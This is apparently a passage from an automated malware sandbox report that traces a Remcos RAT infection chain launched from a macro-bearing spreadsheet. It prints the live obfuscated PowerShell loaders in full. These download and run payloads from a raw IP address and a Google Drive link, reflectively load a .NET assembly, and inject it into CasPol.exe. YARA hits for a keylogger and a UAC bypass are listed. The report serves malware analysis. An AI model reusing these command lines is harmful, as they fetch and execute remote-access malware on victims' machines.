                                                                                                                                                                                                Commandline:"C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"
                                                                                                                                                                                                Imagebase:0x13f070000
                                                                                                                                                                                                File size:443'392 bytes
                                                                                                                                                                                                MD5 hash:A575A7610E5F003CC36DF39E07C4BA7D
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Reputation:moderate
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:7
                                                                                                                                                                                                Start time:11:30:41
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe
                                                                                                                                                                                                Imagebase:0x13f070000
                                                                                                                                                                                                File size:443'392 bytes
                                                                                                                                                                                                MD5 hash:A575A7610E5F003CC36DF39E07C4BA7D
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Reputation:moderate
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:8
                                                                                                                                                                                                Start time:11:30:45
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                Commandline:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.cmdline"
                                                                                                                                                                                                Imagebase:0x13ffb0000
                                                                                                                                                                                                File size:2'758'280 bytes
                                                                                                                                                                                                MD5 hash:23EE3D381CFE3B9F6229483E2CE2F9E1
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Reputation:moderate
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:9
                                                                                                                                                                                                Start time:11:30:45
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7781.tmp" "c:\Users\user\AppData\Local\Temp\htcuymda\CSCED218374D5764718ADCDD459E0E116EB.TMP"
                                                                                                                                                                                                Imagebase:0x13fe70000
                                                                                                                                                                                                File size:52'744 bytes
                                                                                                                                                                                                MD5 hash:C877CBB966EA5939AA2A17B6A5160950
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Reputation:moderate
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:11
                                                                                                                                                                                                Start time:11:30:54
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                Commandline:"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding
                                                                                                                                                                                                Imagebase:0xb0000
                                                                                                                                                                                                File size:2'525'680 bytes
                                                                                                                                                                                                MD5 hash:2F8D93826B8CBF9290BC57535C7A6817
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:12
                                                                                                                                                                                                Start time:11:30:58
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\System32\mshta.exe
                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                Commandline:C:\Windows\System32\mshta.exe -Embedding
                                                                                                                                                                                                Imagebase:0x13f140000
                                                                                                                                                                                                File size:13'824 bytes
                                                                                                                                                                                                MD5 hash:95828D670CFD3B16EE188168E083C3C5
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:14
                                                                                                                                                                                                Start time:11:31:02
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                Commandline:"C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"
                                                                                                                                                                                                Imagebase:0x13ff70000
                                                                                                                                                                                                File size:443'392 bytes
                                                                                                                                                                                                MD5 hash:A575A7610E5F003CC36DF39E07C4BA7D
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Reputation:moderate
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:16
                                                                                                                                                                                                Start time:11:31:03
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe
                                                                                                                                                                                                Imagebase:0xff3d0000
                                                                                                                                                                                                File size:443'392 bytes
                                                                                                                                                                                                MD5 hash:A575A7610E5F003CC36DF39E07C4BA7D
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Reputation:moderate
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:17
                                                                                                                                                                                                Start time:11:31:05
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                Commandline:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.cmdline"
                                                                                                                                                                                                Imagebase:0x13ff60000
                                                                                                                                                                                                File size:2'758'280 bytes
                                                                                                                                                                                                MD5 hash:23EE3D381CFE3B9F6229483E2CE2F9E1
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Reputation:moderate
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:18
                                                                                                                                                                                                Start time:11:31:06
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC6F7.tmp" "c:\Users\user\AppData\Local\Temp\1vm3e1kt\CSC4B568FC3E3A64456AB5664CB529ACC2C.TMP"
                                                                                                                                                                                                Imagebase:0x13faf0000
                                                                                                                                                                                                File size:52'744 bytes
                                                                                                                                                                                                MD5 hash:C877CBB966EA5939AA2A17B6A5160950
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:20
                                                                                                                                                                                                Start time:11:31:10
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\System32\wscript.exe
                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs"
                                                                                                                                                                                                Imagebase:0xffe10000
                                                                                                                                                                                                File size:168'960 bytes
                                                                                                                                                                                                MD5 hash:045451FA238A75305CC26AC982472367
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:21
                                                                                                                                                                                                Start time:11:31:11
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9FTkQ+Pnptdzs3Vk1zdGFydEluJysnZGV4ID0gNycrJ1ZNaW1hZ2VUZXh0LkluZGV4T2YoN1ZNc3RhcnRGbGFnKTs3Vk1lbmRJbmRleCA9IDdWTWltYWcnKydlVGV4dC5JbmRleE9mKDdWTWVuZEZsYWcpOzdWTXN0JysnYXJ0SW5kZXggLScrJ2dlIDAgLWFuZCA3Vk1lbmRJbmQnKydleCAtZ3QgN1ZNc3RhcnRJbmRleCcrJzs3Vk1zdGFydEluZGV4ICs9IDdWTXN0YXJ0RmxhZy5MZW5ndGg7N1ZNJysnYmFzZTY0TGVuZ3RoID0gJysnNycrJ1ZNZW5kSW5kZXggLSA3VicrJ01zdGEnKydydEluZGV4OzdWTWJhc2U2NENvbW1hbmQgPSA3Vk1pbWFnZVRleHQuU3ViJysnc3RyaW5nKDdWTXN0YXJ0SW5kZXgsIDdWTWJhc2U2NExlbmd0aCk7N1ZNJysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoN1YnKydNYicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHJwOCBGb3JFYWNoLU9iamVjdCB7IDdWTV8gfSlbLTEuLi0oN1ZNYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTs3Vk1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm8nKydtQmFzZTY0U3RyaW5nKDdWTWJhc2U2NFJldmVycycrJ2VkKTs3Vk0nKydsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoN1ZNY29tbWFuZEJ5dGVzKTs3Vk12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHptd1ZBSXptdyk7N1ZNdmFpTWV0aG9kLkludm9rZSg3Vk1udWxsLCAnKydAKHptd3R4dC5UVFInKydDTUxMLzIxNC8xMi4xJysnMDEuMy4yOTEvLzpwdHRoem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdkZXNhdGl2YScrJ2Rvem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdDYXNQb2x6bXcsIHptd2Rlc2F0aXZhZCcrJ296bXcsIHptd2Rlc2F0aXZhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2YWRvem13LHptd2Rlc2F0aXYnKydhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2JysnYWRveicrJ213LHptdzF6bXcsem13ZGVzYXRpdmFkb3ptdykpOycpICAtckVQbEFDZSAncnA4JyxbQ0hhcl0xMjQgIC1jcmVQbGFDRSAgKFtDSGFyXTEyMitbQ0hhcl0xMDkrW0NIYXJdMTE5KSxbQ0hhcl0zOS1jcmVQbGFDRShbQ0hhcl01NStbQ0hhcl04NitbQ0hhcl03NyksW0NIYXJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                                                                                                                                                                                                Imagebase:0x13ff70000
                                                                                                                                                                                                File size:443'392 bytes
                                                                                                                                                                                                MD5 hash:A575A7610E5F003CC36DF39E07C4BA7D
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Has exited:false

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:23
                                                                                                                                                                                                Start time:11:31:11
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwCasPolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -rEPlACe 'rp8',[CHar]124 -crePlaCE ([CHar]122+[CHar]109+[CHar]119),[CHar]39-crePlaCE([CHar]55+[CHar]86+[CHar]77),[CHar]36))"
                                                                                                                                                                                                Imagebase:0x13ff70000
                                                                                                                                                                                                File size:443'392 bytes
                                                                                                                                                                                                MD5 hash:A575A7610E5F003CC36DF39E07C4BA7D
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:26
                                                                                                                                                                                                Start time:11:31:44
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                                                                                                                                                                                                Imagebase:0x1350000
                                                                                                                                                                                                File size:107'704 bytes
                                                                                                                                                                                                MD5 hash:8AD6D0D81FEC2856B8DCABEE8D678F61
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Yara matches:
                                                                                                                                                                                                • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                • Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                                • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001A.00000002.656044016.00000000007F5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001A.00000002.656033427.00000000007BF000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001A.00000002.656339540.0000000000831000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                Has exited:false

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:28
                                                                                                                                                                                                Start time:11:31:56
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\mpqqyenbumlfhmiakqc"
                                                                                                                                                                                                Imagebase:0x1350000
                                                                                                                                                                                                File size:107'704 bytes
                                                                                                                                                                                                MD5 hash:8AD6D0D81FEC2856B8DCABEE8D678F61
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:29
                                                                                                                                                                                                Start time:11:31:56
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\wjwiyxyvivdsjteetbolyxd"
                                                                                                                                                                                                Imagebase:0x1350000
                                                                                                                                                                                                File size:107'704 bytes
                                                                                                                                                                                                MD5 hash:8AD6D0D81FEC2856B8DCABEE8D678F61
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                General

                                                                                                                                                                                                Target ID:30
                                                                                                                                                                                                Start time:11:31:56
                                                                                                                                                                                                Start date:29/10/2024
                                                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\hljbzpjxwdvxtzshkmjmbbyzqg"
                                                                                                                                                                                                Imagebase:0x1350000
                                                                                                                                                                                                File size:107'704 bytes
                                                                                                                                                                                                MD5 hash:8AD6D0D81FEC2856B8DCABEE8D678F61
                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                Disassembly

                                                                                                                                                                                                Code Analysis

                                                                                                                                                                                                Call Graph

                                                                                                                                                                                                • Entrypoint
                                                                                                                                                                                                • Decryption Function
                                                                                                                                                                                                • Executed
                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                • Show Help
                                                                                                                                                                                                callgraph 1 Error: Graph is empty

                                                                                                                                                                                                Module: Sheet1

                                                                                                                                                                                                Declaration
                                                                                                                                                                                                LineContent
                                                                                                                                                                                                1

                                                                                                                                                                                                Attribute VB_Name = "Sheet1"

                                                                                                                                                                                                2

                                                                                                                                                                                                Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                                                                                                                                                                                                3

                                                                                                                                                                                                Attribute VB_GlobalNameSpace = False

                                                                                                                                                                                                4

                                                                                                                                                                                                Attribute VB_Creatable = False

                                                                                                                                                                                                5

                                                                                                                                                                                                Attribute VB_PredeclaredId = True

                                                                                                                                                                                                6

                                                                                                                                                                                                Attribute VB_Exposed = True

                                                                                                                                                                                                7

                                                                                                                                                                                                Attribute VB_TemplateDerived = False

                                                                                                                                                                                                8

                                                                                                                                                                                                Attribute VB_Customizable = True

                                                                                                                                                                                                Module: Sheet2

                                                                                                                                                                                                Declaration
                                                                                                                                                                                                LineContent
                                                                                                                                                                                                1

                                                                                                                                                                                                Attribute VB_Name = "Sheet2"

                                                                                                                                                                                                2

                                                                                                                                                                                                Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                                                                                                                                                                                                3

                                                                                                                                                                                                Attribute VB_GlobalNameSpace = False

                                                                                                                                                                                                4

                                                                                                                                                                                                Attribute VB_Creatable = False

                                                                                                                                                                                                5

                                                                                                                                                                                                Attribute VB_PredeclaredId = True

                                                                                                                                                                                                6

